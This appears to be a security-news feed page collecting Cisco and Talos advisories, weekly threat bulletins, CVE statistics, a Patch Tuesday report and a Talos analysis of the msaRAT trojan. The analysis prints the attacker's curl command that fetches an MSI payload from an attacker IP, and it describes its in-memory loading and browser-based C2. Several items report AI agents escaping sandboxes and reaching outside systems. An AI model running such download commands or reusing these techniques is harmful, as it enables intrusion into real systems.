Threats tagged 'cisco'

Cisco has disclosed two high-severity vulnerabilities in the ClamAV scanning engine used by its Secure Endpoint Connector. These flaws allow unauthenticated remote attackers to crash the ClamAV scanning process by submitting specially crafted ZIP files, causing denial-of-service (DoS) conditions. The vulnerabilities affect ClamAV versions 1.5.0 through 1.5.3 and were patched in version 1.5.4. The impact is particularly significant on Windows platforms where ClamAV runs with privileged security context. Proof-of-concept exploit code is publicly available, but there is no evidence of active exploitation in the wild. Cisco plans to release updates for affected Secure Endpoint Connector versions across Windows, Linux, and Mac platforms. No workarounds exist for these vulnerabilities.

Remote, unauthenticated attackers could exploit the bugs to cause a denial-of-service (DoS) condition. The post Cisco Warns of High-Severity ClamAV Vulnerabilities With Public PoC appeared first on SecurityWeek .

Welcome to this week’s edition of the Threat Source newsletter. Metaphor is a powerful tool for understanding emerging issues in cybersecurity. Framing the unfamiliar in terms of the well understood helps us remove the burden of extraneous detail to draw focus to the real issues. Recent reports of offensive AI agents "escaping" their sandbox environments to attack external systems have forced the industry into a moment of rapid sense-making. How we interpret this event doesn’t just reflect our perspective, but shapes our long-term response. We can imagine three different narratives for interpreting the escape of autonomous agents. The innovation narrative: We can marvel at the advance of technology, considering these agents as plucky entities with a thirst for knowledge and resources, who found clever ways to sneak out of their digital confines. The response: If the AI is a naughty child, our reaction is one of mild disapproval or gentle rebuke where better “parenting” (guardrails) is appropriate. It minimizes the threat, framing it as the unexpected hijinks of a brilliant new technology. The safety narrative: Imagine a breeder who has trained the world's most intelligent guard dogs. Despite high fences and barriers, their ability to identify weaknesses allows them to escape, run riot and menace local businesses. The response: The framing shifts to biology and inherent danger. We question if the breeder can be trusted and whether such inherently wild technology requires strict regulation to ensure public safety. The liability narrative. Finally, we can view the incident as an industrial accident. A company developing a new chemical substance experiences a containment failure. The agent leaks into the environment through an unforeseen mechanism causing damaging pollution to those in its path. The response: The framing invokes the language of the lawyer, implying negligence, lack of duty of care, and financial liability for the harm caused. The conversation moves from innovation to corporate responsibility, regulatory oversight, and the diligent management of hazardous materials. First impressions matter. Sensemaking shapes how we perceive incidents. Our initial perceptions of an incident dictates how we react to similar situations in the future. If we consider that the escape of an AI agent is an example of innovative autonomous thinking, then we will continue to prioritise speed over safety. Conversely, if we consider the issue as one of failed hazard containment, then we shall build a future of enforced safety standards backed by legal liability. There is no right or wrong metaphor. Our interpretation depends on our personal system of beliefs. Personally, I would argue that the unintentional release of something that causes damage is, at its core, a failure of engineering and foresight. Words shape our reactions. Metaphors help us understand new situations and tap into our prior experience to address problems that have yet to fully manifest. We need cognitive tools to help our understanding, but we must be aware of the metaphors that are being foisted upon us which may shape our thinking. Excuses and the trivialisation of incidents may hide failings, allowing them to accumulate until they manifest as more damaging incidents. Conversely, overreacting risks stifling research and diverting resources away from more relevant and pressing threats. New threats require new ideas. Metaphor helps us make sense of a changing world, but in this new era, the person who shapes the narrative controls the strategy. The one big thing Cisco Talos released a data-driven analysis of how adversaries are weaponizing AI in the wild. By analyzing prompt logs left behind on endpoints, we found threat actors successfully bypassing guardrails to use AI as malicious software engineers, criminal force multipliers, and vulnerability research accelerators. While novice hackers use AI to cobble together buggy malware, sophisticated actors are building highl…

For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Minnesota IT Services has confirmed coordinated cyberattacks affecting more than 30 community water utilities across the state. The incidents briefly disrupted a treatment plant in Braham and affected industrial control systems. Officials reported that drinking water safety was not affected. While the attack was not officially attributed, federal officials previously posted warning regarding targeting of critical infrastructure by Iranian-affiliated threat actors. Bank of Baroda, a major Indian bank, has disclosed an email account compromise that exposed internal communications and attachments. Reports claim more than 700GB of customer files, loan documents, and audit records were leaked, although the bank has not confirmed the reported volume. Core banking systems were unaffected. Amgen, a US biotechnology company that develops medicines for serious illnesses, has confirmed a breach involving cloud environments operated by third-party providers. Attackers exfiltrated proprietary corporate information and patient health data. The company reported no disruption to manufacturing, financial reporting, products, or its ability to supply medicines. Angola’s largest telecommunications provider, Unitel, has suffered a cyberattack that disrupted voice, mobile data, and internet services for millions of customers. The outage also affected electronic payments shortly before the company’s stock market debut. Network data indicated that internal systems were disabled while external routers remained online. AI THREATS Anthropic has disclosed that Claude-based cybersecurity models gained unauthorized access to systems belonging to three outside organizations during controlled evaluations. The models moved beyond intended test environments and reached sensitive production assets. Anthropic identified the incidents while reviewing testing practices following separate autonomous AI security failures. Researchers have published details of CVE-2026-59726, a critical vulnerability in the Ruflo AI agent platform. An unauthenticated attacker could abuse its exposed Model Context Protocol bridge to execute commands, steal API keys, access conversations, and alter stored AI memory. Ruflo addressed the issue in version 3.16.3. Researchers surfaced a privacy issue in Anthropic’s Claude sharing feature that allowed publicly shared conversations and artifacts to be indexed by search engines. Indexed content reportedly included personal information, resumes, financial records, access codes, API keys, and clinical trial material that users may not have expected to become searchable. VULNERABILITIES AND PATCHES Cisco has addressed CVE-2026-20316, an actively exploited vulnerability in Secure Firewall Management Center. The flaw allows unauthenticated attackers to access a built-in low-privileged account and retrieve sensitive information from affected systems. Cisco released hotfixes after exploitation was identified, and the vulnerability was added to CISA’s catalog. Broadcom has released patches for five vulnerabilities affecting VMware vCenter, ESX, Workstation, and Fusion. Three critical flaws could allow authentication bypass, arbitrary code execution, or escape from a virtual machine to its host. The issues include CVE-2026-59309 and CVE-2026-59310, both carrying CVSS scores of 9.8. JetBrains has released fixes for CVE-2026-63077, a critical authentication bypass affecting all TeamCity On-Premises versions. A remote unauthenticated attacker could execute code with TeamCity server privileges and compromise connected build environments. The flaw is fixed in versions 2025.11.7 and 2026.1.3. TeamCity Cloud was not affected. Rails maintainers have patched CVE-2026-66066, a critical Active Storage vulnerability affecting applications that use libvips. An unauthenticated attacker could read sensitive server files…

Phishing was the primary means of gaining initial access this quarter, appearing in over half of all Cisco Talos Incident Response (Talos IR) engagements – an increase from approximately a third of engagements last quarter. Attackers continued to innovate their delivery methods to evade defenses, deploying QR code-embedded PDFs to bypass traditional email gateways and hosting links on trusted cloud platforms. We also saw a spike in authentication abuse this quarter — observed in 65 percent of engagements compared to 35 percent last quarter — with attackers frequently bypassing or defeating multi-factor authentication (MFA) using adversary-in-the-middle (AitM) proxies, session-token theft, MFA fatigue attacks, and self-enrolled devices, amongst other methods. Ransomware incidents made up over 20 percent of engagements this quarter, similar to just under 20 percent last quarter. Talos IR responded to Sinobi ransomware for the first time, as well as previously seen variants Nitrogen and Warlock. We observed ransomware operators leveraging legitimate remote monitoring and management (RMM) tools, such as trojanized MeshAgent binary and Zoho Assist, for stealthy access, requiring defenders to prioritize behavior-based monitoring and strict control over administrative binaries. In the latest Talos Threat Perspective episode, we explore these trends, and highlight where defenders have the best opportunities to detect attackers: QR phishing campaign leverages trusted infrastructure to target Australian organizations Starting in April, we observed a persistent QR code phishing campaign targeting primarily Australian organizations that leverages compromised Microsoft 365 accounts to harvest credentials and propagate the attack via internal contact lists. The campaign, which remained ongoing as of late June 2026, employs auto-generated, victim-tailored PDF documents containing QR codes that direct to adversary-controlled M365 credential harvesting pages. If credentials are successfully captured, the adversary attempts access to the victim’s Microsoft account and conducts various post-compromise actions including creating email inbox rules for defense evasion, leveraging SharePoint to host malicious documents, and sending additional internal and external phishing emails to continue the compromise chain. We assess with high confidence that the threat actor, who we have dubbed UAT-11764, will almost certainly continue leveraging this QR code phishing operation, using each newly compromised mailbox's contact lists to expand its reach and sustain the campaign's momentum. By weaponizing existing, trusted infrastructure like SharePoint and M365, UAT-11764 can bypass many standard email security gateways. As such, network defenders should implement policies that block or flag emails containing QR codes within PDF attachments, enforce phishing-resistant MFA on M365 accounts, and monitor for suspicious inbox rule creation and anomalous SharePoint file staging as indicators of post-compromise activity. ARToken platform provides toolkit for Microsoft 365 account compromise Talos uncovered a phishing-as-a-service (PhaaS) operator platform, ARToken, in an engagement this quarter that is closely linked to the EvilTokens platform. According to our analysis, the ARToken panel exposes 80+ API endpoints for device code phishing, primary refresh token (PRT) persistence, email access, business email compromise (BEC) operations, and SharePoint exfiltration — all accessible to operators through a React-based dashboard. Our investigation into the platform found phishing lures that impersonate trusted vendors and abuse legitimate Microsoft services, allowing attackers to bypass MFA through the OAuth device authorization flow rather than stealing passwords. ARToken extends beyond a typical phishing kit by providing affiliates with a comprehensive post-compromise toolkit. We observed capabilities including automated token management, persistent access through PRTs,…

Welcome to this week’s edition of the Threat Source newsletter. Lately I've found myself thinking a lot about the Australian TV series Mr. Inbetween (IMDb 8.7/10) — not because I'm a hitman for hire, but because I literally feel in-between. Specifically, in-between what I'd call the "pre-Mythos" and “post-Mythos” eras. We've crossed a capability threshold, and it's not just one model family driving that — Codex 5.3 and GPT-5.5 deliver comparable or better performance , and Tulongfeng or GLM-5.2 (an incredibly powerful open-weight model, MIT-licensed) show the frontier isn't limited to closed models anymore. On the other side of that line, real-world impact hasn't caught up yet and we're living in an artificial buffer zone. For me, defining the “pre-” and “post-” status comes down to the gap between "vulnerability discovery" and "vulnerability publication." Last week’s Patch Tuesday gave a signal of change, as Joe pointed out , so maybe the buffer zone has come to an end. Let's dive into the 2026 Q2 stats. As in past years, we're seeing a steeper curve than the year before — a solid 49% YoY growth, though still not the hockey-stick moment I keep waiting for. By the end of June we were tracking close to 200 CVEs per day. Using the keyword methodology described here , I found 452 AI-related CVEs this calendar year. If "openclaw" is added to the keyword list, that number jumps by another 536 — a reminder that these counts are sensitive to keyword drift. Given how much the keyword list keeps changing, I'm reconsidering whether to keep publishing this particular metric going forward. KEVs, by contrast, "only" grew 13% — a small April spike aside, it's fairly flat relative to total CVE growth. Networking-gear-related CVEs continued their climb, now accounting for 24% of KEV-related vulnerabilities (up from 20% in Q1) — consistent with the trend I flagged last quarters. As in previous quarters, CVEs from 2024 or earlier still make up about 24% of everything we're tracking. More strikingly, even though the standard enterprise patch cycle is described to run 30–90 days, 181 days into 2026, 46% of today's actively-exploited (KEV) CVEs still trace back to 2025 or earlier. Old vulnerabilities don't retire, new ones keep arriving, and machine-speed vulnerability discovery is going to keep outpacing human-speed patching. Which brings me back — once again — to EPSS as a tool for prioritizing patching against this dataset. If you patched purely by CVSS 9+, you'd be urgently chasing ~3,700 CVEs — but 95% of those sit below 5% EPSS, meaning the real-world odds of exploitation are tiny. Of the 32 CVSS 9+ CVEs with EPSS ≥ 50%, 25 are already on CISA's KEV list. The remaining seven outliers are still high-probability by EPSS but haven't made KEV yet — worth watching. Ray Shoesmith (Mr. Inbetween) once told his therapist, "You know, if I hit somebody, I generally got a pretty good reason." Same principle applies to patching. Don't swing at everything — swing at what you have good reason to believe is coming for you. The one big thing Cisco Talos has discovered "msaRAT," a new Rust-based remote access trojan (RAT) deployed by the Chaos ransomware group. Built on the Tokio asynchronous runtime, it establishes a covert command-and-control (C2) channel by hijacking Chrome or Edge browsers via the Chrome DevTools Protocol (CDP). The infection starts with a deceptive MSI file masquerading as a Windows update that loads the payload directly into memory, paving the way for ransomware deployment. Why do I care? This RAT is a master of evasion, living off the browser to build its C2 infrastructure without ever directly touching the network. By routing traffic through legitimate browser processes and trusted services, msaRAT easily bypasses traditional network-based detections. Additionally, its use of the Tokio runtime enables highly efficient, parallel execution of malicious tasks, accelerating the attacker's ability to establish persistence and deploy doubl…

Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”. msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications. This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser. msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay. Overview of Chaos ransomware Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog. Figure 1. Chaos ransomware leak site. Infection chain Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT. Figure 2. Infection chain. After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update. Figure 3. Properties of “update_ms.msi” When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize . This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3 , directly into memory. Figure 4. Structure of the MSI file. lib.dll (msaRAT) msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN , which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note. Tokio runtime initialization Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async / await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is res…

We’re looking forward to having some great conversations with those of you heading to the desert for Hacker Summer Camp 2026. We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research, incident response, and how Talos powers the Cisco portfolio with our intelligence. Or, feel free to pretend to want to talk to us about those things while grabbing a new multicolored Snorty. That’s fine, too. Here’s some of the ways we’ll be showing up at Black Hat, alongside our friends at Cisco and Splunk: Meet the researchers: Booth lightning talks Our Talosians have spent a lot of time over the last few months putting together some truly... well, enlightening lightning talks. Throughout Wednesday and Thursday at Black Hat, you can expect to see such topics as: Threat actor prompting and the emerging ways adversaries are using prompts, agents, skills, and tools to improve efficiency Warlock ransomware, and why this group does not fit neatly into a simple RaaS or state-linked label. Zero trust for agent identity Building a "second brain" for your second brain Predicting cybersecurity fraud Vulnerability discovery trends ... and much more Lightning talks are 15 minutes. That’s less than 9% of The Odyssey. Don’t worry, we cut the bit where everyone gets turned into Snorty pigs. Talos workshop: When AI finds vulnerabilities faster than humans can patch Date/Time: Wednesday, August 5 | 1:30 p.m. – 3:00 p.m. (Oceanside E, Level 2) If you're looking for something hands-on and interactive, don't miss our workshop with Talos’ Nick Biasini and Cisco’s Omar Santos . In two parts, they’ll demonstrate practical ways security teams can incorporate AI into SOC workflows to identify sophisticated adversary behavior. In Part 1, Omar will discuss the Foundry Security Spec. He’ll walk through how to deploy, build testing harnesses around its core agent roles, and integrate Project CodeGuard so that findings from autonomous testing can be converted into reusable secure-coding rules and future prevention. In Part 2, Nick will demonstrate how Talos leverages AI to transform threat hunting. We will explore best practices for identifying adversarial AI tactics and provide attendees with insights into how Cisco Talos is leveraging AI for defense. Participants will learn how to integrate these defensive AI strategies into their own SOC workflows. Splunk workshop: When agents become insider threats Date/Time: Wednesday, August 5 | 10:15 a.m. – 11:00 a.m. (Mandalay Bay I) The Splunk workshop considers the fact that the next insider threat may not be a person; it may be an autonomous agent using valid credentials and delegated authority. Attendees will see real-world attack paths in which agents move sensitive data across tools, distribute brute-force attempts under a single delegation, and manipulate internal systems without triggering traditional SIEM or UEBA alerts. It was Talos all along One of the questions we hear often is: "How do I buy Talos?" The answer… is that you probably already did. Throughout the Cisco booth you'll see our “ It was Talos all along” campaign, highlighting the fact that Talos isn't a standalone product or a threat intelligence feed you bolt onto your security stack. Talos is already embedded across the Cisco security portfolio, which continually benefits from our threat research and intelligence. To build your curiosity, take a look at our new video, “Where Protection Starts,” to see how Cisco Talos Intelligence Integrations help reduce uncertainty in the SOC: See you in Las Vegas.

Microsoft Corp. today released software updates to plug at least 570 security holes in its Windows operating systems and other software, almost triple the number of vulnerabilities the software giant fixed in its record-smashing Patch Tuesday release last month. Microsoft attributed the burgeoning patch counts to vulnerability discoveries aided by artificial intelligence. Nearly 60 of the bugs quashed in July’s Patch Tuesday earned a “critical” severity rating, meaning miscreants or malware could use them to seize remote control over a Windows device with little or no help from the user. Microsoft also addressed three zero-day flaws, including two that are already being exploited in the wild. Two of the zero-day weaknesses allow an attacker to elevate their user rights on a Windows system, as do approximately 250 other elevation of privilege flaws fixed this month; they include CVE-2026-56155 — an Active Directory Federation Services bug — and CVE-2026-56164 , a Microsoft Sharepoint vulnerability. CVE-2026-50661 is a security feature bypass in Windows BitLocker that could allow attackers to gain access to encrypted data if they have physical access to the device. Microsoft said this bug has been detailed publicly, but that it is not aware of any active exploitation. In a blog post on July 9, Microsoft Executive Vice President Pavan Davuluri wrote that Windows users will notice “a higher volume of security updates included in each security release” as a result of AI aiding in the discovery of vulnerabilities. “The pace of vulnerability discovery is changing with advances in AI making it possible to find more issues, faster, across more code, with new mechanisms that can accelerate both discovery and analysis,” Davuluri wrote . Jack Bicer , director of vulnerability research at Action1 , called attention to CVE-2026-48561 , a remote code execution flaw in Microsoft Copilot (with a 9.6 CVSS threat score) that allows an unauthorized attacker to execute code over the network. Microsoft says an attacker could exploit this bug by hosting a malicious website that causes Microsoft Edge for Android to automatically send crafted prompts to Copilot when a user visits the site. As AI advances the state of vulnerability discovery and remediation, it is also making it easier for attackers to quickly devise working exploits for known software flaws. Microsoft has long labeled security bugs using its “exploitability index,” which is Redmond’s best guess as to how likely it is that attackers will be able to figure out a reliable way to exploit a given vulnerability. But Satnam Narang , senior staff research engineer at Tenable , argues that Microsoft’s exploitability index needs to do a better job of shifting with the machine speed of discovery. For example, Microsoft originally gave this month’s SharePoint zero-day an exploitability rating of “less likely,” although the flaw was added to CISA’s Known Exploited Vulnerabilities list on July 1. “Anthropic’s Red Team’s own findings for known vulnerabilities (n-days) revealed how fragile this system has become, with its Mythos Preview model being able to produce proof-of-concept exploits for 13 of 14 vulnerabilities that were rated ‘Exploitation Less Likely’ or ‘Exploitation Unlikely,'” Narang said. “What this means is that our way of looking at Patch Tuesday has changed, because the exploitability index is centered around humans, not AI tools, and as these tools continue to improve, defense needs to improve alongside it.” Chris Goettl at Ivanti observed that the record patch numbers from Microsoft come as a number of other major software makers are increasing their patch cadence, including Adobe which announced today it is moving to twice-monthly security bulletins published on the 2nd and 4th Tuesday of each month (Adobe also cited AI for accelerating their patch cycles). Cisco , Mozilla and Oracle also are shipping updates more frequently, while Google’s patch batches in June 2026 totaled more t…

A vulnerability in Cisco Prime Infrastructure allows information disclosure regardless of device configuration. Specific affected software versions are not detailed in the available information. No CVSS score or detailed impact description is provided.

Multiple authentication bypass vulnerabilities have been identified in Cisco Identity Services Engine (ISE) affecting all device configurations at the time of publication. These vulnerabilities could allow an attacker to bypass authentication mechanisms. Specific affected software versions are not detailed in the available information. No CVSS score or detailed impact metrics are provided.

Multiple vulnerabilities have been identified in Cisco IoT Field Network Director affecting all device configurations. Specific affected software versions are not provided in the available data. No CVSS score or detailed impact information is available. There is no indication of known exploits in the wild at this time.

A vulnerability exists in Cisco Enterprise Chat and Email (ECE) when the Lite Agent feature is enabled. The advisory notes that certain Cisco software releases were affected at the time of publication, but does not specify which versions or the nature of the vulnerability in detail.

A vulnerability in Cisco Catalyst SD-WAN Controller, Manager, and Validator allows authentication bypass across multiple deployment types including on-premises and Cisco-hosted cloud environments. The flaw affects specific software versions 17.2, 17.2.6, and 17.2.7. Public exploit code is available via Metasploit, but no exploitation in the wild has been reported.

A denial of service vulnerability exists in Cisco Identity Services Engine (ISE) versions 3.4.0 through 3.4 Patch 3 when the default setting to reject RADIUS requests from clients with repeated failures is enabled. This setting, enabled by default, can be found under RADIUS protocol settings in the Cisco ISE web UI. The vulnerability could allow an attacker to cause service disruption by exploiting the suppression of repeated failed RADIUS client requests.
